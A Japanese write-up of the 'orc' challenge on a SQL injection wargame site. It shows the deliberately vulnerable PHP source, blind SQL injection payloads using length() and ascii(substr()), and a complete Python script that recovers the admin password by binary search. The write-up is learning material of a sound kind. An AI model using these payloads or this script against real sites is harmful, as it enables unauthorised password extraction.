<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello admin</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__);
特徴は以下。
- 前半でユーザー存在検証、後半でパスワード検証をしている
- 後半ではaddslashesによるサニタイズと応答passwordが同じかの比較をしている
- 後半を崩すのは大変そうだ
- 前半は特に何もされていない
後半を崩すのは難しそうなので、パスワードを解析する必要がありそうだ。
前半は好きにできそうなので、Blind SQL Injectionをする。
Blind SQL Injection
' or id = 'admin' and {md} <= length(pw) #
これを使ってパスワードの全長を解析しよう。
自分の場合は8だった。
' or id = 'admin' and {md} <= ascii(substr(pw,{i+1},1)) #
後半でasciiとsubstrを使ってある文字のバイナリ値を取得している。
この値を二分探索で特定して、一文字ずつ探し当てていこう。
import requests url = "https://los.rubiya.kr/chall/orc_[yoururl].php" cookie = {'PHPSESSID': '[PHPSESSID]'} def check(data) -> bool: return "Hello admin" in data ok = 0 ng = 30 while ok + 1 != ng: md = (ok + ng) // 2 q = f"' or id = 'admin' and {md} <= length(pw) #" res = requests.get(url, params={'pw': q}, cookies=cookie) print(f"[+] try {md}") if check(res.text): ok = md else: ng = md length = ok print(f"[*] length = {length}") ans = "" for i in range(0, length): ok = 0 ng = 127 while ok + 1 != ng: md = (ok + ng) // 2 q = f"' or id = 'admin' and {md} <= ascii(substr(pw,{i+1},1)) #" res = requests.get(url, params={'pw': q}, cookies=cookie) print(f"[+] try {md}") if check(res.text): ok = md else: ng = md ans += str(chr(ok)) print(f"[*] {ans}") print(f"[*] find! {ans}")